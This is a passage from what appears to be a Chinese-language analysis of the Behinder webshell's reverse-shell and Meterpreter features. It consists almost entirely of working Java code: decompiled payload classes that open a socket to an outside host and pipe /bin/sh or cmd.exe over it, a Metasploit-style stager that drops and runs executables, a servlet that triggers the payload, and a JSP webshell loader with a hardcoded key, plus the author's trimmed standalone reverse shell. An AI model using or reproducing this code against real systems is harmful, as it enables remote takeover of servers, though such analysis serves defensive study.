String var2 = "e45e329feb5d925b";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[]) null).invoke(var7, (Object[]) null);
var6 = (byte[]) var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String) var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}
- 创建
BingXieServlet.java
package com.example.antsword_analysis;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.IOException;
@WebServlet("/BingXieServlet")
public class BingXieServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Yxduci yxduci = new Yxduci();
yxduci.equals(request, response, request.getSession());
}
}
- 分析
2.1.1.2. 魔改
package bh;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.PrintStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.util.Iterator;
import java.util.Locale;
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import java.util.Stack;
import java.util.StringTokenizer;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Yxduci extends ClassLoader implements Runnable {
public static String type;
public static String ip;
public static String port;
private Object Request;
private Object Response;
private Object Session;
InputStream dn;
OutputStream rm;
private static final String OS_NAME;
private static final String PATH_SEP;
private static final boolean IS_AIX;
private static final boolean IS_DOS;
private static final String JAVA_HOME;
public static void main(String[] args) {
try {
Yxduci c = new Yxduci();
ip = "192.168.11.131";
port = "13579";
c.shellConnect();
} catch (Exception var2) {
}
}
public Yxduci(InputStream dn, OutputStream rm) {
type = "";
type = type + "shell";
ip = "";
ip = ip + "192.168.11.131";
port = "";
port = port + "11111";
// super();
this.dn = dn;
this.rm = rm;
}
public Yxduci() {
type = "";
type = type + "shell";
ip = "";
ip = ip + "192.168.11.131";
port = "";
port = port + "11111";
// super();
}
// public boolean equals(Object obj) {
// public boolean equals(HttpServletRequest request, HttpServletResponse response, HttpSession session) {
// HashMap result = new HashMap();
// boolean var13 = false;
//
// Object so;
// Method write;
// label91:
// {
// try {
// var13 = true;
//// this.fillContext(obj);
//// this.fillContext(request, response, session);
// if (type.equals("shell")) {
// this.shellConnect();
// } else if (type.equals("meter")) {
// this.meterConnect();
// }
//
// result.put("status", "success");
// var13 = false;
// break label91;
// } catch (Exception var17) {
// result.put("status", "fail");
// result.put("msg", var17.getMessage());
// var13 = false;
// } finally {
// if (var13) {
// try {
// so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
// write = so.getClass().getMethod("write", byte[].class);
// write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
// so.getClass().getMethod("flush").invoke(so);
// so.getClass().getMethod("close").invoke(so);
// } catch (Exception var14) {
// }
//
// }
// }
//
// try {
// so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
// write = so.getClass().getMethod("write", byte[].class);
// write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
// so.getClass().getMethod("flush").invoke(so);
// so.getClass().getMethod("close").invoke(so);
// } catch (Exception var15) {
// }
//
// return true;
// }
//
// try {
// so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
// write = so.getClass().getMethod("write", byte[].class);
// write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
// so.getClass().getMethod("flush").invoke(so);
// so.getClass().getMethod("close").invoke(so);
// } catch (Exception var16) {
// }
//
// return true;
// }
public void run() {
BufferedReader hz = null;
BufferedWriter cns = null;
try {
hz = new BufferedReader(new InputStreamReader(this.dn));
cns = new BufferedWriter(new OutputStreamWriter(this.rm));
char[] buffer = new char[8192];
int length;
while ((length = hz.read(buffer, 0, buffer.length)) > 0) {
cns.write(buffer, 0, length);
cns.flush();
}
} catch (Exception var6) {
}
try {
if (hz != null) {
hz.close();
}
if (cns != null) {
cns.close();
}
} catch (Exception var5) {
}
}
private void shellConnect() throws Exception {
try {
String ShellPath;
// 获得操作系统,转化成小写,判断有没有windows
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
// linux
ShellPath = new String("/bin/sh");
} else {
// windows
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ip, Integer.parseInt(port));
Process process = Runtime.getRuntime().exec(ShellPath);
// 将从socket中读取的命令的值,传递给process执行
(new Thread(new Yxduci(process.getInputStream(), socket.getOutputStream()))).start();
// 将process执行命令之后的结果返回给socket套接字
(new Thread(new Yxduci(socket.getInputStream(), process.getOutputStream()))).start();
} catch (Exception var4) {
throw var4;
}
}
private void meterConnect() throws Exception {
Properties props = new Properties();
Class clazz = Yxduci.class;
String clazzFile = clazz.getName().replace('.', '/') + ".class";
props.put("LHOST", ip);
props.put("LPORT", port);
String executableName = props.getProperty("Executable");
File droppedFile;
if (executableName != null) {
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath() + ".dir");
tempDir.mkdir();
droppedFile = new File(tempDir, executableName);
writeEmbeddedFile(clazz, executableName, droppedFile);
props.remove("Executable");
props.put("DroppedExecutable", droppedFile.getCanonicalPath());
}
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
String droppedExecutable = props.getProperty("DroppedExecutable");
int i;
if (spawn > 0) {
props.setProperty("Spawn", String.valueOf(spawn - 1));
droppedFile = File.createTempFile("~spawn", ".tmp");
droppedFile.delete();
File tempDir = new File(droppedFile.getAbsolutePath() + ".dir");
File propFile = new File(tempDir, "metasploit.dat");
File classFile = new File(tempDir, clazzFile);
classFile.getParentFile().mkdirs();
writeEmbeddedFile(clazz, clazzFile, classFile);
if (props.getProperty("URL", "").startsWith("https:")) {
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
}
if (props.getProperty("AESPassword", (String) null) != null) {
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
}
FileOutputStream fos = new FileOutputStream(propFile);
props.store(fos, "");
fos.close();
Process proc = Runtime.getRuntime().exec(new String[]{getJreExecutable("java"), "-classpath", tempDir.getAbsolutePath(), clazz.getName()});
proc.getInputStream().close();
proc.getErrorStream().close();
Thread.sleep(2000L);
File[] files = new File[]{classFile, classFile.getParentFile(), propFile, tempDir};
for (i = 0; i < files.length; ++i) {
for (i = 0; i < 10 && !files[i].delete(); ++i) {
files[i].deleteOnExit();
Thread.sleep(100L);
}
}
} else if (droppedExecutable != null) {
droppedFile = new File(droppedExecutable);
if (!IS_DOS) {
try {
try {
File.class.getMethod("setExecutable", Boolean.TYPE).invoke(droppedFile, Boolean.TRUE);
} catch (NoSuchMethodException var16) {
Runtime.getRuntime().exec(new String[]{"chmod", "+x", droppedExecutable}).waitFor();
}
} catch (Exception var17) {
}
}
Runtime.getRuntime().exec(new String[]{droppedExecutable});
if (!IS_DOS) {
droppedFile.delete();
droppedFile.getParentFile().delete();
}
} else {
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
String lHost = props.getProperty("LHOST", (String) null);
String url = props.getProperty("URL", (String) null);
Object in;
Object out;
if (lPort <= 0) {
in = System.in;
out = System.out;
} else if (url != null) {
if (url.startsWith("raw:")) {
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
} else if (url.startsWith("https:")) {
URLConnection uc = (new URL(url)).openConnection();
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", URLConnection.class).invoke((Object) null, uc);
in = uc.getInputStream();
} else {
in = (new URL(url)).openStream();
}
out = new ByteArrayOutputStream();
} else {
Socket socket;
if (lHost != null) {
socket = new Socket(lHost, lPort);
} else {
ServerSocket serverSocket = new ServerSocket(lPort);
socket = serverSocket.accept();
serverSocket.close();
}
in = socket.getInputStream();
out = socket.getOutputStream();
}
String aesPassword = props.getProperty("AESPassword", (String) null);
if (aesPassword != null) {
Object[] streams = (Object[]) Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", InputStream.class, OutputStream.class, String.class).invoke((Object) null, in, out, aesPassword);
in = (InputStream) streams[0];
out = (OutputStream) streams[1];
}
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- " + props.getProperty("StageParameters", ""), " ");
String[] stageParams = new String[stageParamTokenizer.countTokens()];
for (i = 0; i < stageParams.length; ++i) {
stageParams[i] = stageParamTokenizer.nextToken();
}
(new Yxduci()).bootstrap((InputStream) in, (OutputStream) out, props.getProperty("EmbeddedStage", (String) null), stageParams);
}
}
private static void writeEmbeddedFile(Class clazz, String resourceName, File targetFile) throws FileNotFoundException, IOException {
InputStream in = clazz.getResourceAsStream("/" + resourceName);
FileOutputStream fos = new FileOutputStream(targetFile);
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
fos.write(buf, 0, len);
}
fos.close();
}
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
try {
DataInputStream in = new DataInputStream(rawIn);
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
Class clazz;
if (embeddedStageName == null) {
int length = in.readInt();
do {
byte[] classfile = new byte[length];
in.readFully(classfile);
this.resolveClass(clazz = this.defineClass((String) null, classfile, 0, length, pd));
length = in.readInt();
} while (length > 0);
} else {
clazz = Class.forName("javapayload.stage." + embeddedStageName);
}
Object stage = clazz.newInstance();
clazz.getMethod("start", DataInputStream.class, OutputStream.class, String[].class).invoke(stage, in, out, stageParameters);
} catch (Throwable var11) {
var11.printStackTrace(new PrintStream(out));
}
}
private static String getJreExecutable(String command) {
File jExecutable = null;
if (IS_AIX) {
jExecutable = findInDir(JAVA_HOME + "/sh", command);
}
if (jExecutable == null) {
jExecutable = findInDir(JAVA_HOME + "/bin", command);
}
return jExecutable != null ? jExecutable.getAbsolutePath() : addExtension(command);
}
private static String addExtension(String command) {
return command + (IS_DOS ? ".exe" : "");
}
private static File findInDir(String dirName, String commandName) {
File dir = normalize(dirName);
File executable = null;
if (dir.exists()) {
executable = new File(dir, addExtension(commandName));
if (!executable.exists()) {
executable = null;
}
}
return executable;
}
private static File normalize(String path) {
Stack s = new Stack();
String[] dissect = dissect(path);
s.push(dissect[0]);
StringTokenizer tok = new StringTokenizer(dissect[1], File.separator);
while (tok.hasMoreTokens()) {
String thisToken = tok.nextToken();
if (!".".equals(thisToken)) {
if ("..".equals(thisToken)) {
if (s.size() < 2) {
return new File(path);
}
s.pop();
} else {
s.push(thisToken);
}
}
}
StringBuffer sb = new StringBuffer();
for (int i = 0; i < s.size(); ++i) {
if (i > 1) {
sb.append(File.separatorChar);
}
sb.append(s.elementAt(i));
}
return new File(sb.toString());
}
private static String[] dissect(String path) {
char sep = File.separatorChar;
path = path.replace('/', sep).replace('\\', sep);
String root = null;
int colon = path.indexOf(58);
int nextsep;
if (colon > 0 && IS_DOS) {
nextsep = colon + 1;
root = path.substring(0, nextsep);
char[] ca = path.toCharArray();
root = root + sep;
nextsep = ca[nextsep] == sep ? nextsep + 1 : nextsep;
StringBuffer sbPath = new StringBuffer();
for (int i = nextsep; i < ca.length; ++i) {
if (ca[i] != sep || ca[i - 1] != sep) {
sbPath.append(ca[i]);
}
}
path = sbPath.toString();
} else if (path.length() > 1 && path.charAt(1) == sep) {
nextsep = path.indexOf(sep, 2);
nextsep = path.indexOf(sep, nextsep + 1);
root = nextsep > 2 ? path.substring(0, nextsep + 1) : path;
path = path.substring(root.length());
} else {
root = File.separator;
path = path.substring(1);
}
return new String[]{root, path};
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while (var5.hasNext()) {
String key = (String) var5.next();
sb.append("\"" + key + "\":\"");
String value = ((String) entity.get(key)).toString();
if (encode) {
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[]) null).invoke(Base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
try {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[]) null).invoke(Base64, (Object[]) null);
result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
// private void fillContext(Object obj) throws Exception {
// private void fillContext(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
// /*if (obj.getClass().getName().indexOf("PageContext") >= 0) {
// this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
// this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
// this.Session = obj.getClass().getMethod("getSession").invoke(obj);
// } else {
// Map<String, Object> objMap = (Map) obj;
// this.Session = objMap.get("session");
// this.Response = objMap.get("response");
// this.Request = objMap.get("request");
// }*/
// this.Request = request;
// this.Response = response;
// this.Session = session;
// this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
// }
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for (int i = 0; i < buf.length; ++i) {
buf[i] = (byte) random.nextInt(256);
}
return buf;
}
static {
OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
PATH_SEP = System.getProperty("path.separator");
IS_AIX = "aix".equals(OS_NAME);
IS_DOS = PATH_SEP.equals(";");
JAVA_HOME = System.getProperty("java.home");
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "e45e329feb5d925b";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[]) null).invoke(var7, (Object[]) null);
var6 = (byte[]) var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String) var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}
注释equals()
方法
注释fillContext
方法
调用shellConnect()
方法
反弹成功
2.1.1.3. 代码精简
package bh;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;
public class Yxduci extends ClassLoader implements Runnable {
public static String type;
public static String ip;
public static String port;
InputStream dn;
OutputStream rm;
public static void main(String[] args) {
try {
Yxduci c = new Yxduci();
ip = "192.168.11.131";
port = "13579";
c.shellConnect();
} catch (Exception var2) {
}
}
public Yxduci(InputStream dn, OutputStream rm) {
type = "";
type = type + "shell";
ip = "";
ip = ip + "192.168.11.131";
port = "";
port = port + "11111";
// super();
this.dn = dn;
this.rm = rm;
}
public Yxduci() {
type = "";
type = type + "shell";
ip = "";
ip = ip + "192.168.11.131";
port = "";
port = port + "11111";
// super();
}
public void run() {
BufferedReader hz = null;
BufferedWriter cns = null;
try {
hz = new BufferedReader(new InputStreamReader(this.dn));
cns = new BufferedWriter(new OutputStreamWriter(this.rm));
char[] buffer = new char[8192];
int length;
while ((length = hz.read(buffer, 0, buffer.length)) > 0) {
cns.write(buffer, 0, length);
cns.flush();
}
} catch (Exception var6) {
}
try {
if (hz != null) {
hz.close();
}
if (cns != null) {
cns.close();
}
} catch (Exception var5) {
}
}
private void shellConnect() throws Exception {
try {
String ShellPath;
// 获得操作系统,转化成小写,判断有没有windows
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
// linux
ShellPath = new String("/bin/sh");
} else {
// windows
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ip, Integer.parseInt(port));
Process process = Runtime.getRuntime().exec(ShellPath);
// 将从socket中读取的命令的值,传递给process执行
(new Thread(new Yxduci(process.getInputStream(), socket.getOutputStream()))).start();
// 将process执行命令之后的结果返回给socket套接字
(new Thread(new Yxduci(socket.getInputStream(), process.getOutputStream()))).start();
} catch (Exception var4) {
throw var4;
}
}
}
删除灰色代码
测试成功
2.1.1.4. [X] 冰蝎自定义代码功能
package bh;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;
public class Yxduci extends ClassLoader implements Runnable {
public static String type;
public static String ip;
public static String port;
InputStream dn;
OutputStream rm;
public static void main(String[] args) {
try {
Yxduci c = new Yxduci();
ip = "192.168.11.131";
port = "13579";
c.shellConnect();
} catch (Exception var2) {
}
}
public Yxduci(InputStream dn, OutputStream rm) {
type = "";
type = type + "shell";
ip = "";
ip = ip + "192.168.11.131";
port = "";
port = port + "11111";
// super();
this.dn = dn;
this.rm = rm;
}
public Yxduci() {
type = "";
type = type + "shell";
ip = "";
ip = ip + "192.168.11.131";
port = "";
port = port + "11111";
// super();
}
public void run() {
BufferedReader hz = null;
BufferedWriter cns = null;
try {
hz = new BufferedReader(new InputStreamReader(this.dn));
cns = new BufferedWriter(new OutputStreamWriter(this.rm));
char[] buffer = new char[8192];
int length;
while ((length = hz.read(buffer, 0, buffer.length)) > 0) {
cns.write(buffer, 0, length);
cns.flush();
}
} catch (Exception var6) {
}
try {
if (hz != null) {
hz.close();
}
if (cns != null) {
cns.close();
}
} catch (Exception var5) {
}
}
private void shellConnect() throws Exception {
try {
String ShellPath;
// 获得操作系统,转化成小写,判断有没有windows
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
// linux
ShellPath = new String("/bin/sh");
} else {
// windows
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ip, Integer.parseInt(port));
Process process = Runtime.getRuntime().exec(ShellPath);
// 将从socket中读取的命令的值,传递给process执行
(new Thread(new Yxduci(process.getInputStream(), socket.getOutputStream()))).start();
// 将process执行命令之后的结果返回给socket套接字
(new Thread(new Yxduci(socket.getInputStream(), process.getOutputStream()))).start();
} catch (Exception var4) {
throw var4;
}
}
}
2.1.2. Meterpreter
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="java.io.FileOutputStream" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%><%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
byte[] bytes = new BASE64Decoder().decodeBuffer(request.getReader().readLine());
System.out.println("bytes: " + new String(bytes));
byte[] finalBytes = c.doFinal(bytes);
System.out.println("finalBytes: " + new String(finalBytes));
FileOutputStream fileOutputStream = new FileOutputStream("C:\\Users\\HW\\Documents\\IdeaProjects\\antsword\\src\\main\\webapp\\WEB-INF\\reverse_connection.class");
fileOutputStream.write(finalBytes);
fileOutputStream.close();
new U(this.getClass().getClassLoader()).g(finalBytes).newInstance().equals(pageContext);
}
%>
配置kali msf
点击连接
连接成功
获得reverse_connection.class
package org.osbdgg;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.PrintStream;
import java.lang.reflect.Method;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Locale;
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import java.util.Stack;
import java.util.StringTokenizer;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Leerlu extends ClassLoader implements Runnable {
public static String type;
public static String ip;
public static String port;
private Object Request;
private Object Response;
private Object Session;
InputStream dn;
OutputStream rm;
private static final String OS_NAME;
private static final String PATH_SEP;
private static final boolean IS_AIX;
private static final boolean IS_DOS;
private static final String JAVA_HOME;
public Leerlu(InputStream dn, OutputStream rm) {
type = "";
type = type + "meter";
ip = "";
ip = ip + "192.168.100.143";
port = "";
port = port + "6666";
super();
this.dn = dn;
this.rm = rm;
}
public Leerlu() {
type = "";
type = type + "meter";
ip = "";
ip = ip + "192.168.100.143";
port = "";
port = port + "6666";
super();
}
public boolean equals(Object obj) {
HashMap result = new HashMap();
boolean var13 = false;
Object so;
Method write;
label91: {
try {
var13 = true;
this.fillContext(obj);
if (type.equals("shell")) {
this.shellConnect();
} else if (type.equals("meter")) {
this.meterConnect();
}
result.put("status", "success");
var13 = false;
break label91;
} catch (Exception var17) {
result.put("status", "fail");
result.put("msg", var17.getMessage());
var13 = false;
} finally {
if (var13) {
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var14) {
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var15) {
}
return true;
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var16) {
}
return true;
}
public void run() {
BufferedReader hz = null;
BufferedWriter cns = null;
try {
hz = new BufferedReader(new InputStreamReader(this.dn));
cns = new BufferedWriter(new OutputStreamWriter(this.rm));
char[] buffer = new char[8192];
int length;
while((length = hz.read(buffer, 0, buffer.length)) > 0) {
cns.write(buffer, 0, length);
cns.flush();
}
} catch (Exception var6) {
}
try {
if (hz != null) {
hz.close();
}
if (cns != null) {
cns.close();
}
} catch (Exception var5) {
}
}
private void shellConnect() throws Exception {
try {
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ip, Integer.parseInt(port));
Process process = Runtime.getRuntime().exec(ShellPath);
(new Thread(new Leerlu(process.getInputStream(), socket.getOutputStream()))).start();
(new Thread(new Leerlu(socket.getInputStream(), process.getOutputStream()))).start();
} catch (Exception var4) {
throw var4;
}
}
public static void main(String[] args) {
try {
Leerlu c = new Leerlu();
ip = "192.168.50.53";
port = "4444";
c.meterConnect();
} catch (Exception var2) {
}
}
private void meterConnect() throws Exception {
Properties props = new Properties();
Class clazz = Leerlu.class;
String clazzFile = clazz.getName().replace('.', '/') + ".class";
props.put("LHOST", ip);
props.put("LPORT", port);
String executableName = props.getProperty("Executable");
File droppedFile;
if (executableName != null) {
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath() + ".dir");
tempDir.mkdir();
droppedFile = new File(tempDir, executableName);
writeEmbeddedFile(clazz, executableName, droppedFile);
props.remove("Executable");
props.put("DroppedExecutable", droppedFile.getCanonicalPath());
}
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
String droppedExecutable = props.getProperty("DroppedExecutable");
int i;
if (spawn > 0) {
props.setProperty("Spawn", String.valueOf(spawn - 1));
droppedFile = File.createTempFile("~spawn", ".tmp");
droppedFile.delete();
File tempDir = new File(droppedFile.getAbsolutePath() + ".dir");
File propFile = new File(tempDir, "metasploit.dat");
File classFile = new File(tempDir, clazzFile);
classFile.getParentFile().mkdirs();
writeEmbeddedFile(clazz, clazzFile, classFile);
if (props.getProperty("URL", "").startsWith("https:")) {
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
}
if (props.getProperty("AESPassword", (String)null) != null) {
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
}
FileOutputStream fos = new FileOutputStream(propFile);
props.store(fos, "");
fos.close();
Process proc = Runtime.getRuntime().exec(new String[]{getJreExecutable("java"), "-classpath", tempDir.getAbsolutePath(), clazz.getName()});
proc.getInputStream().close();
proc.getErrorStream().close();
Thread.sleep(2000L);
File[] files = new File[]{classFile, classFile.getParentFile(), propFile, tempDir};
for(int i = 0; i < files.length; ++i) {
for(i = 0; i < 10 && !files[i].delete(); ++i) {
files[i].deleteOnExit();
Thread.sleep(100L);
}
}
} else if (droppedExecutable != null) {
droppedFile = new File(droppedExecutable);
if (!IS_DOS) {
try {
try {
File.class.getMethod("setExecutable", Boolean.TYPE).invoke(droppedFile, Boolean.TRUE);
} catch (NoSuchMethodException var16) {
Runtime.getRuntime().exec(new String[]{"chmod", "+x", droppedExecutable}).waitFor();
}
} catch (Exception var17) {
}
}
Runtime.getRuntime().exec(new String[]{droppedExecutable});
if (!IS_DOS) {
droppedFile.delete();
droppedFile.getParentFile().delete();
}
} else {
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
String lHost = props.getProperty("LHOST", (String)null);
String url = props.getProperty("URL", (String)null);
Object in;
Object out;
if (lPort <= 0) {
in = System.in;
out = System.out;
} else if (url != null) {
if (url.startsWith("raw:")) {
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
} else if (url.startsWith("https:")) {
URLConnection uc = (new URL(url)).openConnection();
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", URLConnection.class).invoke((Object)null, uc);
in = uc.getInputStream();
} else {
in = (new URL(url)).openStream();
}
out = new ByteArrayOutputStream();
} else {
Socket socket;
if (lHost != null) {
socket = new Socket(lHost, lPort);
} else {
ServerSocket serverSocket = new ServerSocket(lPort);
socket = serverSocket.accept();
serverSocket.close();
}
in = socket.getInputStream();
out = socket.getOutputStream();
}
String aesPassword = props.getProperty("AESPassword", (String)null);
if (aesPassword != null) {
Object[] streams = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", InputStream.class, OutputStream.class, String.class).invoke((Object)null, in, out, aesPassword);
in = (InputStream)streams[0];
out = (OutputStream)streams[1];
}
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- " + props.getProperty("StageParameters", ""), " ");
String[] stageParams = new String[stageParamTokenizer.countTokens()];
for(i = 0; i < stageParams.length; ++i) {
stageParams[i] = stageParamTokenizer.nextToken();
}
(new Leerlu()).bootstrap((InputStream)in, (OutputStream)out, props.getProperty("EmbeddedStage", (String)null), stageParams);
}
}
private static void writeEmbeddedFile(Class clazz, String resourceName, File targetFile) throws FileNotFoundException, IOException {
InputStream in = clazz.getResourceAsStream("/" + resourceName);
FileOutputStream fos = new FileOutputStream(targetFile);
byte[] buf = new byte[4096];
int len;
while((len = in.read(buf)) != -1) {
fos.write(buf, 0, len);
}
fos.close();
}
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
try {
